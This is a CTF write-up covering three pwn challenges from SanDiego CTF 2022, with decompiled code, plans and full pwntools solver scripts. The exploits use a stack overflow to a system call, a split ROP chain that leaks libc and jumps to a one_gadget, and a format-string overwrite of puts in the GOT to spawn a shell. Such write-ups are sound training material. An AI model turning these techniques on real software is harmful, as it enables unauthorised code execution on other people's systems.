Contents

SanDiego CTF 2022

https://i.imgur.com/pvHiD15.png

SanDiego CTF is pretty unique because the CTF platform is using Discord. I only have time to look at the pwn challenge, so here’s my writeup for some challenge that I solved

Pwn

Horoscope

Initial Analysis

We were given a binary. Let’s disassemble it:

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
undefined8 main(void)

{
  char local_38 [48];
  
  puts("Welcome to SDCTF\'s very own text based horoscope");
  puts(
      "please put in your birthday and time in the format (month/day/year/time) and we will have you r very own horoscope"
      );
  fflush(stdout);
  fgets(local_38,0x140,stdin);
  processInput(local_38);
  return 0;
}

processInput

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
void processInput(char *param_1)

{
  char *__nptr;
  int local_1c;
  char *local_18;
  int local_c;
  
  __nptr = strtok(param_1,"/");
  for (local_1c = 0; local_1c < 4; local_1c = local_1c + 1) {
    if (local_1c == 0) {
      local_c = atoi(__nptr);
    }
    if (local_1c == 3) {
      atoi(__nptr);
    }
  }
  switch(local_c) {
  default:
    puts("thats not a valid date >:-(");
    fflush(stdout);
                    /* WARNING: Subroutine does not return */
    exit(1);
  case 1:
    local_18 = "January";
    break;
  case 2:
    local_18 = "February";
    break;
  case 3:
    local_18 = "March";
    break;
  case 4:
    local_18 = "April";
    break;
  case 5:
    local_18 = "May";
    break;
  case 6:
    local_18 = "June";
    break;
  case 7:
    local_18 = "July";
    break;
  case 8:
    local_18 = "August";
    break;
  case 9:
    local_18 = "September";
    break;
  case 10:
    local_18 = "October";
    break;
  case 0xb:
    local_18 = "November";
    break;
  case 0xc:
    local_18 = "December";
  }
  printf("wow, you were born in the month of %s. I think that means you will have a great week! :)",
         local_18);
  fflush(stdout);
  return;
}

Looking at the main, there is buffer overflow bug. Looking at the checksec result, there isn’t any canary also:

1
2
3
4
5
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

And then we also found a test function which call system('/bin/sh')

1
2
3
4
5
6
7
8
void test(void)

{
  if (temp == 1) {
    system("/bin/sh");
  }
  return;
}

Notes that the if else doesn’t matter, because we can directly use the system line instead of the start of the test function

Exploitation Plan

Well, simply use the buffer overflow bug to overwrite the main ret to the given system line of code. Also make sure that our buffer overflow payload should follow the processInput validation (which is a date).

Solution

Below is the full solver script to buffer overflow it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from pwn import p64, u64, p32, u32

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

exe = ELF("./horoscope")

context.binary = exe

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.PLT_DEBUG:
            gdb.attach(r, gdbscript='''
            b *main+100
            ''')
    else:
        r = remote("horoscope.sdc.tf", 1337)

    return r

r = conn()
system_addr = p64(0x000000000040095f)
payload = b'11/11/11' + b'1'*0x30 +system_addr
r.sendlineafter(b'horoscope\n', payload)
r.interactive()

Run the solver and we will get a shell to read the flag https://i.imgur.com/rDhNdBP.png

Flag: sdctf{S33ms_y0ur_h0rO5c0p3_W4s_g00d_1oD4y}

Secure-Horoscope

Initial Analysis

We were given a binary and dockerfile. Let’s disassemble it first.

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int main(int argc,char **argv)

{
  char buf [40];
  int i;
  
  i = 0;
  puts("We fixed some bugs in our last horoscope, this one should be secure!\n");
  puts("To get started, tell us how you feel");
  fflush(stdout);
  fgets(buf,0x28,stdin);
  printf("feeling like %s? That\'s interesting.",buf);
  fflush(stdout);
  for (; i != 2; i = i + 1) {
    puts(
        "please put in your birthday and time in the format (month/day/year/time) and we will have y our very own horoscope\n"
        );
    fflush(stdout);
    getInfo();
    puts("want to try again?\n");
    fflush(stdout);
  }
  puts("too bad, we don\'t have the resources for that right now >:(");
  fflush(stdout);
  return 0;
}

Looking at the main function, it looks like main will call getInfo twice before exit. So far, main doesn’t have any vulns that I could see. Let’s take a look at the getInfo getInfo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
void getInfo(void)

{
  char info [100];
  
  memset(info,0,100);
  read(0,info,0x8c);
  puts(info);
  puts("hm, I\'ll have to think about what this means. I\'ll get back to you in 5 business days.");
  fflush(stdout);
  return;
}

We can see that there is buffer overflow vuln during read, but we can only overwrite 20-bytes at most after the function saved RBP. Let’s checksec it first

1
2
3
4
5
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Okay, no canary! However, 20-bytes are pretty small. To leak a libc function address, AFAIK, we need to have at least 24-bytes (pop_rdi + libc_got + puts_plt) 😢

Looking at the Dockerfile, we can simply build it and get the used libc file for the challenge in the server.

Exploitation Plan

First, with the buffer overflow, we can simply overwrite the return address of getInfo to getInfo again, so that it won’t return to the main. This means the limitation of getInfo in the main (only 2 times to input) is bypassed.

Second, through observation via GDB, everytime we overwrite getInfo return address to getInfo again, the new stack RSP address is increased by 8. Look at the below gdb result. https://i.imgur.com/eUJVFyO.png During the first time we use getInfo the RSP just before it ret is placed on 0x7fff22cd8448. Notice that starting from the rsp+0x18 is our previous input during filling the how you feel question.

https://i.imgur.com/ExeFcnE.png After overwrite the ret to getInfo again, notice that the RSP just before it ret is placed on 0x7fff22cd8450 (Increased by 8). And now, our input in getInfo got merged with our previous input in main.

Based on above, our input in getInfo will be placed just above our previous input in main (during storing how you feel question). This means that our buffer overflow will be technically increased from 20-bytes only to 60-bytes after we overwrite getInfo ret to getInfo again (20-bytes + input in main size).

From the above information, that means we can definitely leak address of any libc function. The plan is to split our ROP chain to leak the libc. The first part will be stored during getInfo, the second part will be stored via main.

After leaking the libc, we can simply ret to getInfo again, and then overwrite the return pointer to system. We can use one_gadget to help us get the shell address.

Solution

Okay, so now, we need to craft our ROP chain to leak the libc address. With the help of ROPGadget, we can find address which will do pop rdi; ret. So, my ROP chain would be like this:

1
pop_rdi_ret + puts_got + puts_plt + getInfo

So, we put the puts_got to rdi, and then call puts, and then return it back to getInfo. We need to ret it back to getInfo so that we can overwrite its return pointer with the system address.

We split it into two parts, pop_rdi_ret + puts_got and puts_plt + getInfo. Put the second part in main, and put the first part into getInfo.

First, put up the second part in main, and then overwrite the getInfo return pointer with getInfo again first.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
puts_plt = exe.plt['puts']
puts_got = exe.got['puts']
pop_rdi = 0x0000000000400873 # pop rdi; ret
getInfo = exe.symbols['getInfo']

r = conn()
r.sendlineafter(b'feel\n', p64(puts_plt)+p64(getInfo))

# Ret to getInfo again
print()
print(f'Ret2getInfo again')
payload = b'a'*0x78 + p64(getInfo)
r.sendafter(b'horoscope\n\n', payload)
r.recvuntil(b'\n').strip()
r.recvuntil(b'\n').strip()

Now, based on our observation with GDB, when we overflow the next getInfo, it will placed inside the program stack just above our input in the main. Now, put the first part to the getInfo

1
2
3
4
5
6
7
# Pop puts_got to rdi, ret to puts_plt (First input, got this via observation in GDB)
print()
print(f'Time to leak libc base...')
payload = b'a'*0x78 + p64(pop_rdi) + p64(puts_got) # Because it got merged with our main input, our ROP will continue to puts_plt + getInfo
r.send(payload)
r.recvuntil(b'\n').strip()
r.recvuntil(b'\n').strip()

Honestly, on my local, after executing above script, I am able to get the leaked puts libc address. However, somehow in the server, I couldn’t do that. Instead, I need to send any string first before the server return the leaked puts libc. So, I decided to send another payload which will overwrite getInfo to getInfo again.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# I don't know but somehow, in the server, it didn't return the puts_plt immediately
# Somehow, I need to send something first before getting the leaked puts address
# So, I decided to send another payload to return to getInfo again
r.send(b'a'*0x78 + p64(getInfo))
out = r.recvuntil(b'\n').strip() # Finally got the leaked libc
r.recvuntil(b'\n').strip()
r.recvuntil(b'\n').strip()
leaked_puts = u64(out.ljust(8, b'\x00'))
print(f'leaked_puts   : {hex(leaked_puts)}')
libc_base = leaked_puts - libc.symbols['puts']
libc.address = libc_base
print(f'libc base     : {hex(libc_base)}')

Finally, after we got the libc base address, we can simply use one_gadget to gain the shell address (with constraints). Now, for the last step, overwrite the getInfo return pointer with the shell.

1
2
3
4
5
6
one_gadget = 0x4f302 # [rsp+0x40] == NULL
payload = b'a'*0x78 + p64(libc_base+one_gadget)
r.send(payload)
r.recvuntil(b'\n').strip()
r.recvuntil(b'\n').strip()
r.interactive()

And we got the shell 😃

https://i.imgur.com/lD0JJl7.png

Below is the full solver script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
from pwn import p64, u64, p32, u32

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

exe = ELF("./secureHoroscope_patched")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")

context.binary = exe

def conn():
    if args.LOCAL:
        r = process([exe.path], env={})
        if args.PLT_DEBUG:
            gdb.attach(r, gdbscript='''
            b *getInfo+93
            ''')
    else:
        r = remote("sechoroscope.sdc.tf", 1337)

    return r

puts_plt = exe.plt['puts']
puts_got = exe.got['puts']
one_gadget = 0x4f302 # [rsp+0x40] == NULL
pop_rdi = 0x0000000000400873 # pop rdi; ret
getInfo = exe.symbols['getInfo']

r = conn()
r.sendlineafter(b'feel\n', p64(puts_plt)+p64(getInfo))

# Ret to getInfo again
print()
print(f'Ret2getInfo again')
payload = b'a'*0x78 + p64(getInfo)
r.sendafter(b'horoscope\n\n', payload)
r.recvuntil(b'\n').strip()
r.recvuntil(b'\n').strip()

# Pop puts_got to rdi, ret to puts_plt (First input, got this via observation in GDB)
print()
print(f'Time to leak libc base...')
payload = b'a'*0x78 + p64(pop_rdi) + p64(puts_got)
r.send(payload)
r.recvuntil(b'\n').strip()
r.recvuntil(b'\n').strip()

# I don't know but somehow, in the server, it didn't return the puts_plt immediately
# Somehow, I need to send something first before getting the leaked puts address
# So, I decided to send another payload to return to getInfo again
r.send(b'a'*0x78 + p64(getInfo))
out = r.recvuntil(b'\n').strip() # Finally got the leaked libc
r.recvuntil(b'\n').strip()
r.recvuntil(b'\n').strip()
leaked_puts = u64(out.ljust(8, b'\x00'))
print(f'leaked_puts   : {hex(leaked_puts)}')
libc_base = leaked_puts - libc.symbols['puts']
libc.address = libc_base
print(f'libc base     : {hex(libc_base)}')

# Finally, ret 2 shell (one_gadget)
print()
print(f'Time to ret2one_gadget...')
payload = b'a'*0x78 + p64(libc_base+one_gadget)
r.send(payload)
r.recvuntil(b'\n').strip()
r.recvuntil(b'\n').strip()
r.interactive()

Flag: sdctf{Th0s3_d4rN_P15C3s_g0t_m3}

Oil Spill

Initial Analysis

We were given a binary and Dockerfile. Let’s disassemble the binary first

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
undefined8 main(undefined8 param_1,undefined8 param_2)

{
  undefined8 in_R9;
  long in_FS_OFFSET;
  char local_148 [312];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("%p, %p, %p, %p\n",puts,printf,local_148,temp,in_R9,param_2);
  puts("Oh no! We spilled oil everywhere and its making everything dirty");
  puts("do you have any ideas of what we can use to clean it?");
  fflush(stdout);
  fgets(local_148,300,stdin);
  printf(local_148);
  puts(x);
  fflush(stdout);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

If we look at the code, seems like the code already leaked the libc of puts and printf. Another thing that we could notice is, there is a format string bug in below code

1
2
  fgets(local_148,300,stdin);
  printf(local_148);

Also another thing to look is the puts(x) line. Checking on Ghidra,x is a string located in .data https://i.imgur.com/bwFIgcU.png

Looking at the given Dockerfile, we can simply build it, and then take the libc file of the binary.

Exploitation Plan

Based on the initial analysis, what we already have are:

  • Libc file (from Dockerfile)
  • Libc base during the binary execution (Due to the leak)
  • Format string bug

Note that we can overwrite value with format string bug via %n. For example, if we do %20$n, then it will overwrite the 20th element with how many characters have we printed.

Based on those, my plan is to overwrite the puts to system, and x to /bin/sh\x00. So that after reading our payload, when the binary call puts(x), they will call system('/bin/sh\x00') instead.

Solution

So, in order to execute the plan, what I do is:

  • Overwrite x value byte per byte (via %hhn)
  • Overwrite puts last byte (via %hhn)
  • Overwrite puts second and third last byte (via %hn)

First, let’s try to get the libc base from the leaked:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
r = conn()
outs = r.recvuntil(b'\n').strip().split(b',')
leaked_puts = int(outs[0], 16)
libc_base = leaked_puts - libc.symbols['puts']
libc.address = libc_base
print(f'Leaked Libc base: {hex(libc_base)}')

system_addr = libc.symbols["system"]
print(f'system@libc: {hex(system_addr)}')
puts_got = exe.got["puts"] # This will be overwritten with system
print(f'puts@got  : {hex(puts_got)}')

x_addr = exe.symbols["x"] # This will be overwritten with /bin/sh\x00
print(f'x         : {hex(x_addr)}')

After executing the above codes, we will already have:

  • The puts got location
  • The x location
  • The system address in libc

Now, let’s craft our payload. Below is the payload that I use

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
fmt_str = b''

fmt_str += f'%21$hhn'.encode() # Overwrite lsb of x to \x00
fmt_str += f'%{0x20}c%22$hhn'.encode() # Overwrite lsb of puts to lsb of system

# Overwrite x to '/bin/sh'
fmt_str += f'%{0x2f-0x20}c%23$hhn'.encode()
fmt_str += f'%24$hhn'.encode()
fmt_str += f'%{0x62-0x2f}c%25$hhn'.encode()
fmt_str += f'%{0x68-0x62}c%26$hhn'.encode()
fmt_str += f'%{0x69-0x68}c%27$hhn'.encode()
fmt_str += f'%{0x6e-0x69}c%28$hhn'.encode()
fmt_str += f'%{0x73-0x6e}c%29$hhn'.encode()

# Overwrite 2nd and 3rd byte of puts to system
second_third_byte_system = u64(p64(system_addr)[1:3].ljust(8, b'\x00'))
fmt_str += f'%{second_third_byte_system-0x73}c%30$hn'.encode()
fmt_str = pad(fmt_str, 8)

# This will be used as the address that we will overwrite
# For x_addr, we will overwrite it per byte
# For puts, we will:
# - Overwrite the last byte first (0x20)
# - Overwrite the second and third byte together
addr = b''
addr += p64(x_addr+7) + p64(puts_got) + p64(x_addr)
addr += p64(x_addr+4) + p64(x_addr+1) + p64(x_addr + 6)
addr += p64(x_addr + 2) + p64(x_addr + 3) + p64(x_addr + 5)
addr += p64(puts_got+1)
payload = fmt_str + addr

So, %hhn will overwrite 1 byte of the targeted element with the total character that we have printed, %hn will overwrite 2 bytes of the targeted element, and %c will print space with total as the given number (For example, %100c will print 100 spaces). And %10c%5$n means we overwrite the fifth element with 0xA (10).

Notes that we actually need to carefully craft our payload to make sure the payload is ordered by the byte, because any character that we print to overwrite the current element, will be counted also during overwritten the next element. For example, if we already print 0x20, and then we want to overwrite another element, we can only overwrite it with size larger than 0x20. Let say we want to overwrite it with 0x2f, then we only need to print 0xf more.

This means that we need to sort our payload to overwrite the address sorted by the byte from the smallest to the largest, because we can’t decrease the total count of the characters that we have printed. The above payload already fulfilled this increasing condition.

Below is the result after we send the crafted payload to the server. We got a shell and we can read the flag

https://i.imgur.com/FjtlnXi.png

This is the full solver script

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from Crypto.Util.Padding import pad
from pwn import *

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

exe = ELF("./OilSpill_patched")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")

context.binary = exe

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.PLT_DEBUG:
            gdb.attach(r, gdbscript='''
            b *main+186
            ''')
    else:
        r = remote("oil.sdc.tf", 1337)

    return r

r = conn()
outs = r.recvuntil(b'\n').strip().split(b',')
print(f'Outs: {outs}')

leaked_puts = int(outs[0], 16)
libc_base = leaked_puts - libc.symbols['puts']
libc.address = libc_base
print(f'Leaked Libc base: {hex(libc_base)}')

system_addr = libc.symbols["system"]
print(f'system@libc: {hex(system_addr)}')
puts_got = exe.got["puts"] # This will be overwritten with system
print(f'puts@got  : {hex(puts_got)}')

x_addr = exe.symbols["x"] # This will be overwritten with /bin/sh\x00
print(f'x         : {hex(x_addr)}')

print(f'Try to overwrite GOT puts to system....')
fmt_str = b''

fmt_str += f'%21$hhn'.encode() # Overwrite lsb of x to \x00
fmt_str += f'%{0x20}c%22$hhn'.encode() # Overwrite lsb of puts to lsb of system

# Overwrite x to '/bin/sh'
fmt_str += f'%{0x2f-0x20}c%23$hhn'.encode()
fmt_str += f'%24$hhn'.encode()
fmt_str += f'%{0x62-0x2f}c%25$hhn'.encode()
fmt_str += f'%{0x68-0x62}c%26$hhn'.encode()
fmt_str += f'%{0x69-0x68}c%27$hhn'.encode()
fmt_str += f'%{0x6e-0x69}c%28$hhn'.encode()
fmt_str += f'%{0x73-0x6e}c%29$hhn'.encode()

# Overwrite 2nd and 3rd byte of puts to system
second_third_byte_system = u64(p64(system_addr)[1:3].ljust(8, b'\x00'))
fmt_str += f'%{second_third_byte_system-0x73}c%30$hn'.encode()
fmt_str = pad(fmt_str, 8)

# This will be used as the address that we will overwrite
# For x_addr, we will overwrite it per byte
# For puts, we will:
# - Overwrite the last byte first (0x20)
# - Overwrite the second and third byte together
addr = b''
addr += p64(x_addr+7) + p64(puts_got) + p64(x_addr)
addr += p64(x_addr+4) + p64(x_addr+1) + p64(x_addr + 6)
addr += p64(x_addr + 2) + p64(x_addr + 3) + p64(x_addr + 5)
addr += p64(puts_got+1)
payload = fmt_str + addr
r.sendlineafter(b'to clean it?\n', payload)
r.readrepeat(1)
r.interactive()

Flag: sdctf{th4nks_f0r_S4V1nG_tH3_duCk5}

Social Media

Follow me on twitter